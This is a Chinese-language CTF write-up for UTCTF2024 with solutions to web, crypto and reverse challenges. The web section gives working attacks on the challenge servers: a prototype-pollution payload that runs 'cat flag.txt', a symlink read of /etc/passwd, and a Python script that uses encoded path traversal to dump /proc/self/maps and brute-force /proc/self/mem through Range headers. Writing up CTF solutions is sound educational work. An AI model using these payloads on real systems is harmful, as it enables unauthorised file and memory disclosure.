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Web
Easy Mergers v0.1
POST /api/absorbCompany/2 HTTP/1.1
Host: guppy.utctf.live:8725
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 37
Content-Type: application/json
Cookie: connect.sid=s%3A2Pg-Z6Ptae78uzMfAGEO2LQyaBUZF6yl.kVN2lVXSTr3ZQOOlz3L5K3Lbq%2BsPH7%2FyKZD25YRlTGk
Origin: http://guppy.utctf.live:8725
Referer: http://guppy.utctf.live:8725/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36{“attributes”:[“__proto__”],“values”:[{“cmd”:“cat flag.txt”}]}
Schrödinger
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
copenhagen:x:1000:1000::/home/copenhagen:/bin/sh
构造软连接先读/etc/passwd
flag在目录/home/copenhagen/flag.txt
Here are the contents!!!
—————aa—————
Home on the Range
Range请求头
但是好像没什么用，就是和题目名挺吻合的。
目录遍历
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threadingwith open(“/setup/flag.txt”) as f:
the_flag = f.read()
os.remove(“/setup/flag.txt”)
def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
boundary = randbytes(64).hex()
for [first, last] in (ranges if ranges != [] else [[None, None]]):
count = None
if first is None:
if last is None:
first = 0
else:
first = file_len – last
count = last
elif last is not None:
count = last – first + 1
if (count is not None and count < 0) or first < 0:
return False
content_range_header = “bytes “ + str(first) + “-“ + (str(first + count – 1 if count is not None else file_len – 1)) + “/” + str(file_len)
if len(ranges) > 1:
write_bytes(b“rn–“ + boundary.encode())
if content_type:
write_bytes(b“rnContent-Type: “ + content_type.encode())
write_bytes(b“rnContent-Range: “ + content_range_header.encode())
write_bytes(b“rnrn”)
else:
if content_type:
write_header(“Content-Type”, content_type)
if len(ranges) > 0:
write_header(“Content-Range”, content_range_header)
if not write_file_range(first, count):
return False
if len(ranges) > 1:
write_bytes(b“rn–“ + boundary.encode() + b“–rn”)
write_header(“Content-Type”, “multipart/byteranges; boundary=” + boundary)
elif len(ranges) == 0:
write_header(“Accept-Ranges”, “bytes”)
return True
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
return self.try_serve_file(self.path[1:])
def try_serve_file(self, f):
if f == “”:
f = “.”
try:
status_code = 200
range_match = re.match(“^bytes=\d*-\d*(, *\d*-\d*)*$”, self.headers.get(“range”, “none”))
ranges = []
if range_match:
status_code = 206
ranges = []
for range in self.headers.get(“range”).split(“=”)[1].split(“, “):
left, right = range.split(“-“)
new_range = [None, None]
if left:
new_range[0] = int(left)
if right:
new_range[1] = int(right)
if not left and not right:
# invalid
ranges = [[None, None]]
break
ranges.append(new_range)
self.log_message(“Serving %s ranges %s”, f, repr(ranges))
(content_type, _) = guess_type(f)
with open(f, “rb”) as io:
file_length = os.stat(f).st_size
headers = []
chunks = []
def check_file_chunk(first, count):
if count is None:
if first < 0:
return False
io.seek(first)
if io.read(1) == b“”:
return False
else:
if count <= 0 or first < 0:
return False
io.seek(first + count – 1)
if io.read(1) == b“”:
return False
chunks.append({“type”: “file”, “first”: first, “count”: count})
return True
ok = process_range_request(ranges, content_type, file_length,
lambda k, v: headers.append((k, v)),
lambda b: chunks.append({“type”: “bytes”, “bytes”: b}),
check_file_chunk)
if not ok:
self.send_response(416)
self.send_header(“Content-Range”, “bytes */” + str(file_length))
self.end_headers()
return
content_length = 0
for chunk in chunks:
if chunk[“type”] == “bytes”:
content_length += len(chunk[“bytes”])
elif chunk[“type”] == “file”:
content_length += chunk[“count”] if chunk[“count”] is not None else file_length – chunk[“first”]
self.send_response(status_code)
for (k, v) in headers:
self.send_header(k, v)
self.send_header(“Content-Length”, str(content_length))
self.end_headers()
for chunk in chunks:
if chunk[“type”] == “bytes”:
self.wfile.write(chunk[“bytes”])
elif chunk[“type”] == “file”:
io.seek(chunk[“first”])
count = chunk[“count”]
buf_size = 1024 * 1024
while count is None or count > 0:
chunk = io.read(min(count if count is not None else buf_size, buf_size))
self.wfile.write(chunk)
if count is not None:
count -= len(chunk)
if len(chunk) == 0:
break
except FileNotFoundError:
print(f)
self.send_error(404)
except IsADirectoryError:
if not f.endswith(“/”) and f != “.”:
self.send_response(303)
self.send_header(“Location”, “/” + f + “/”)
self.end_headers()
elif os.path.isfile(f + “/index.html”):
return self.try_serve_file(f + “/index.html”)
else:
dir_name = os.path.basename(os.path.abspath(f))
if dir_name == “”:
dir_name = “/”
body = (
“<!DOCTYPE html><html><head><title>Directory listing of “
+ escape(dir_name)
+ “</title><body><h1>Directory listing of “ + escape(dir_name) + “</h1><ul>”
+ “”.join([“<li><a href=”” + escape(child, quote=True) + “”>” + escape(child) + “</a></li>” for child in os.listdir(f)])
+ “</ul></body></html>”
).encode(“utf-8”)
self.send_response(200)
self.send_header(“Content-Type”, “text/html; charset=utf-8”)
self.end_headers()
self.wfile.write(body)
pass
except OSError as e:
self.send_error(500, None, e.strerror)
server = ThreadingHTTPServer((“0.0.0.0”, 3000), Handler)
def exit_handler(signum, frame):
sys.stderr.write(“Received SIGTERMn”)
# Needs to run in another thread to avoid blocking the main thread
def shutdown_server():
server.shutdown()
shutdown_thread = threading.Thread(target=shutdown_server)
shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)
sys.stderr.write(“Server readyn”)
server.serve_forever()
with open(“/setup/flag.txt”, “w”) as f:
f.write(the_flag)
最后那个signal.SIGTERM应该是题目重启的逻辑，跟解题没关系
从/proc/self/maps来获取堆栈分布,根据堆的偏移爆破mem
# -*- coding:utf-8 -*-
import requests
import re
from tqdm import tqdm
from urllib.parse import quote
baseUrl = "http://guppy.utctf.live:7884/"
headers = {
"Range":"bytes=40000-42000"
}
result = []
if __name__ == "__main__":
url = baseUrl + "%2e%2e/%2e%2e/proc/self/maps"
print(url)
memInfoList = requests.get(url,headers=headers).text.split("n")
mem = ""
print(memInfoList)for i in tqdm(memInfoList):
memAddress = re.match(r“([a-z0-9]+)-([a-z0-9]+) rw”, i)
if memAddress:
start = int(memAddress.group(1), 16)
end = int(memAddress.group(2), 16)
result.append([start,end])
infoUrl = baseUrl + “%2e%2e/%2e%2e/proc/self/mem”
newHeaders = {
“Range”:f“bytes={start}-{end}”
}
mem = requests.get(infoUrl,headers=newHeaders).text
print(mem)
if “utflag” in mem:
print(“find it”)
print(newHeaders)
break
flag在最后 find it {‘Range’: ‘bytes=124163915821056-124163919962112’}
Beginner: Off-Brand Cookie Clicker
控制台输入：
fetch('/click', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'count=' + 10000000000
})
.then(response => response.json())
.then(data => {
alert(data.flag);
});
Crypto
RSA-256
直接分解n完事
用factordb网站直接分解得到p和q,脚本如下:
from Crypto.Util.number import *
p=1025252665848145091840062845209085931
q=75575216771551332467177108987001026743883
N = 77483692467084448965814418730866278616923517800664484047176015901835675610073
e = 65537
c = 43711206624343807006656378470987868686365943634542525258065694164173101323321
phi=(p-1)*(q-1)
d=inverse_mod(e,phi)
print(long_to_bytes(int(pow(c,d,N))))
#b'utflag{just_send_plaintext}'
numbers go brrr
get_random_number()中将这一次的seed进行加密后作为下一次的seed，也就是只要知道初始的seed就能得到key
并且对message加密的最后一次的seed作为给flag加密的初始seed。
由于seed的范围在10**6内，是可以通过爆破得到message的初始seed。
通过message的初始seed,进而算出flag的初始seed,从而得到对flag加密的key,然后就是aes解密了。
脚本如下:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from tqdm import *
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seeddef encrypt(message):
key = b”
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, ‘big’)
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return ciphertext.hex()
message = b‘a’
for i in trange(10**6):
seed = i
if encrypt(message) == ‘c4982e7c53d17bbdcdbdb29297454e08’:
print(seed)
break
key = b”
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, ‘big’)
cipher = AES.new(key, AES.MODE_ECB)
c=b‘a9f2f48bbd6a641d4eadd07a7d374cd92b08c805e7bc4e942b42a6daf53d02d5294c9de03216444bd66fb6144f26dea2’
print(cipher.decrypt(long_to_bytes(int(c,16))))
#890849
#b’utflag{deep_seated_and_recurring_self-doubts}x03x03x03′
Cryptordle
用爆破，就是穷举五个字符，但是要大约七次才能精确猜出答案
另一个发现是answer都是一些单词，可以利用这个
最后先用前五个数据来穷举出所有的可能answer，然后再在里面找正确的单词(这一步用了word文档的拼写检查)
然后成功找到，进行三次拿到flag
脚本如下:
import itertools
from string import *
alpha_bet=ascii_lowercase
strlist = itertools.product(alpha_bet, repeat=5)
def judge(guess,answer):response = 1
for x in range(5):
a = ord(guess[x]) – ord(‘a’)
b = ord(answer[x]) – ord(‘a’)
response = (response * (a – b)) % 31
return response
for i in strlist:
answer = i[0] + i[1] + i[2] + i[3] + i[4]
if judge(‘aaaaa’, answer) == 10:
if judge(‘bbbbb’, answer) == 4:
if judge(‘ccccc’, answer) == 22:
if judge(‘ddddd’, answer) == 25:
if judge(‘eeeee’, answer) == 9:
print(answer)
得到这么一大串:
hmsuu hmusu hmuus hsmuu hsumu hsuum humsu humus husmu husum huums huusm mhsuu mhusu mhuus mshuu msuhu msuuh muhsu muhus mushu musuh muuhs muush shmuu shumu shuum smhuu smuhu smuuh suhmu suhum sumhu sumuh suuhm suumh uhmsu uhmus uhsmu uhsum uhums uhusm umhsu umhus umshu umsuh umuhs umush ushmu ushum usmhu usmuh usuhm usumh uuhms uuhsm uumhs uumsh uushm uusmh
拿去word文档，发现只有humus未标红，即正确答案，同样方式进行三次，拿到flag
bits and pieces
后面两个n2,n3直接gcd(n2,n3)就能成功分解n2,n3得到flag的第二第三部分。
第一部分直接用yafu分解n1得到p1,q1(yafu实在是太强大了)
脚本如下:
n1= 16895844090302140592659203092326754397916615877156418083775983326567262857434286784352755691231372524046947817027609871339779052340298851455825343914565349651333283551138205456284824077873043013595313773956794816682958706482754685120090750397747015038669047713101397337825418638859770626618854997324831793483659910322937454178396049671348919161991562332828398316094938835561259917841140366936226953293604869404280861112141284704018480497443189808649594222983536682286615023646284397886256209485789545675225329069539408667982428192470430204799653602931007107335558965120815430420898506688511671241705574335613090682013
e1= 65537
c1= 7818321254750334008379589501292325137682074322887683915464861106561934924365660251934320703022566522347141167914364318838415147127470950035180892461318743733126352087505518644388733527228841614726465965063829798897019439281915857574681062185664885100301873341937972872093168047018772766147350521571412432577721606426701002748739547026207569446359265024200993747841661884692928926039185964274224841237045619928248330951699007619244530879692563852129885323775823816451787955743942968401187507702618237082254283484203161006940664144806744142758756632646039371103714891470816121641325719797534020540250766889785919814382n2= 22160567763948492895090996477047180485455524932702696697570991168736807463988465318899280678030104758714228331712868417831523511943197686617200545714707332594532611440360591874484774459472586464202240208125663048882939144024375040954148333792401257005790372881106262295967972148685076689432551379850079201234407868804450612865472429316169948404048708078383285810578598637431494164050174843806035033795105585543061957794162099125273596995686952118842090801867908842775373362066408634559153339824637727686109642585264413233583449179272399592842009933883647300090091041520319428330663770540635256486617825262149407200317
e2= 65537
c2= 19690520754051173647211685164072637555800784045910293368304706863370317909953687036313142136905145035923461684882237012444470624603324950525342723531350867347220681870482876998144413576696234307889695564386378507641438147676387327512816972488162619290220067572175960616418052216207456516160477378246666363877325851823689429475469383672825775159901117234555363911938490115559955086071530659273866145507400856136591391884526718884267990093630051614232280554396776513566245029154917966361698708629039129727327128483243363394841238956869151344974086425362274696045998136718784402364220587942046822063205137520791363319144
n3= 30411521910612406343993844830038303042143033746292579505901870953143975096282414718336718528037226099433670922614061664943892535514165683437199134278311973454116349060301041910849566746140890727885805721657086881479617492719586633881232556353366139554061188176830768575643015098049227964483233358203790768451798571704097416317067159175992894745746804122229684121275771877235870287805477152050742436672871552080666302532175003523693101768152753770024596485981429603734379784791055870925138803002395176578318147445903935688821423158926063921552282638439035914577171715576836189246536239295484699682522744627111615899081
e3= 65537
c3= 17407076170882273876432597038388758264230617761068651657734759714156681119134231664293550430901872572856333330745780794113236587515588367725879684954488698153571665447141528395185542787913364717776209909588729447283115651585815847333568874548696816813748100515388820080812467785181990042664564706242879424162602753729028187519433639583471983065246575409341038859576101783940398158000236250734758549527625716150775997198493235465480875148169558815498752869321570202908633179473348243670372581519248414555681834596365572626822309814663046580083035403339576751500705695598043247593357230327746709126221695232509039271637
#用yafu分解
p1=129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711299819
q1=129984014749130366259742130443330376923069118727641845190136006048911945242427603092160936004682857611235008521722596025476170673607376869837675885556290582081941522328978811710862857253777650447221864279732376499043513950683086803379743964370215090077032772967632331576620201195241241611325672953583711295127
phi1 = (p1-1)*(q1-1)
d1=inverse_mod(e1,phi1)
m1 = long_to_bytes(int(pow(c1,d1,n1)))
#gcd解决
p2=p3=gcd(n2,n3)
q2=n2/p2
phi2=(p2-1)*(q2-1)
d2=inverse_mod(e2,phi2)
m2=long_to_bytes(int(pow(c2,d2,n2)))
q3=n3/p3
phi3=(p3-1)*(q3-1)
d3=inverse_mod(e3,phi3)
m3=long_to_bytes(int(pow(c3,d3,n3)))
print(m1+m2+m3)
#b’utflag{oh_no_it_didnt_work_</3_i_guess_i_can_just_use_standard_libraries_in_the_future}’
simple signature
Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are:
n = 26513666256909537346234842974614985055272114808872859575465682142925156918272427186795011970182151450381367211339083690316182376464452967361419306608676636655740864118248718911375615608259238389060910647926976129117142495601574083106194091932989917398722699350731365804075485118605855632370321333813028938540767909148085850979651604021833144758917874921029219760075758222873555675853223546465885437967642690927791227460701119714776368280912971998732371928438371685265099372319763422130064421929003319053477851089249102838606015992844461271067902948925926428101149872265239163597686826063965509938225348962889469005859
e = 65537
Enter a message (enter 0 to stop): 0
You must request at least one signature.
Enter a message (enter 0 to stop): 1
Your signature is: 1
Enter a message (enter 0 to stop): 0
Now, come up with your own pair!
Enter a message: 0
Enter a signature: 1
Congrats! Here is the flag: utflag{a1m05t_t3xtb00k_3x3rc153}
numbers go brrr 2
跟numbers go brr 2 思路一模一样，只是说变成了猜key，甚至都用不着250次,一次就能猜中，代码如下:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from tqdm import *
def get_random_number():
global seed
seed = int(str(seed * seed).zfill(12)[3:9])
return seeddef encrypt(message):
key = b”
for i in range(8):
key += (get_random_number() % (2 ** 16)).to_bytes(2, ‘big’)
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(pad(message, AES.block_size))
return ciphertext.hex(),key.hex()
message = b‘a’
for i in trange(10**6):
seed = i
c,key = encrypt(message)
if c == ’11eb7c292a3705ffe2b2ff99a0af3885′:
print(key)
break
跟上面那题一样，猜三次得到flag: #utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}
Beginner: Anti-dcode.fr
这题由于文本量过大，直接转换文本肯定不太行,将utflag偏移后的数据在文本中搜索，最终发现utflag偏移8位后的数据cbntio在文本中有，用在线网站还原得到utflag{rip_dcode}
Reverse
Fruit Deals
得到了一个表格，得启用一下宏，vba下载链接甩下面了 链接: https://pan.baidu.com/s/13NUAPBZ_1ZYpi_9vAtPUrw 提取码: ftsj 然后主要查看module2,module1里面主要就是随机生成两张base64密文的sheet表格 根据判断条件往下走应该就能行
隐藏的两张码表可以从左下角的工作台取消隐藏
经过比较，判断条件里面的值与对应sheet2表格里位置上的一样，所以只需要正向执行一遍代码，最后输出一下f，就能看见flag，即是需要下载的文件名
Beginner: Basic Reversing Problem
直接把每个函数中赋值的ascll码粘出来即可
117 116 102 108 97 103 123 105 95 99 52 110 95 114 51 118 33 125
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原文始发于微信公众号（ChaMd5安全团队）：UTCTF2024 WriteUp By Mini-Venom
